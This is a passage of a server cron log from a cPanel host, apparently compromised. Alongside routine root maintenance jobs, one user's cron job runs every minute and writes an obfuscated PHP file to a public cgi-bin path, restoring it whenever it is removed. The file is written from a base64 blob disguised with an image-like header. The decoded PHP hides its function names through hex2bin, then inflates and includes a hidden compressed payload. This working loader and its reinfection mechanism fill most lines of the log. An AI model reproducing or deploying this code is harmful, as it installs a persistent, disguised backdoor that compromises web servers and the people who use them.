vFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:36:01 server CROND[27284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:36:01 server CROND[27285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:37:01 server CROND[27653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:37:01 server CROND[27654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:37:01 server CROND[27655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:38:01 server CROND[28022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:38:01 server CROND[28023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:38:01 server CROND[28024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:39:01 server CROND[28390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:39:01 server CROND[28391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:39:01 server CROND[28392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:39:01 server CROND[28393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 10:40:01 server CROND[28903]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:40:01 server CROND[28905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:40:01 server CROND[28908]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:40:01 server CROND[28910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:40:01 server CROND[28911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:40:01 server CROND[28912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:40:01 server CROND[28909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:40:01 server CROND[28913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:41:01 server CROND[29738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:41:01 server CROND[29739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:41:01 server CROND[29740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:42:01 server CROND[30137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:42:01 server CROND[30138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:42:01 server CROND[30140]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:42:01 server CROND[30139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:43:01 server CROND[30508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:43:01 server CROND[30507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:43:01 server CROND[30509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:44:01 server CROND[30882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:44:01 server CROND[30883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:44:01 server CROND[30884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:45:01 server CROND[31314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:45:01 server CROND[31316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:45:01 server CROND[31319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:45:01 server CROND[31320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:45:01 server CROND[31322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:45:01 server CROND[31317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:45:01 server CROND[31318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:46:01 server CROND[32182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:46:01 server CROND[32183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:46:01 server CROND[32184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:47:01 server CROND[32549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:47:01 server CROND[32550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:47:01 server CROND[32551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:48:01 server CROND[468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:48:01 server CROND[469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:48:01 server CROND[470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:49:01 server CROND[863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:49:01 server CROND[864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
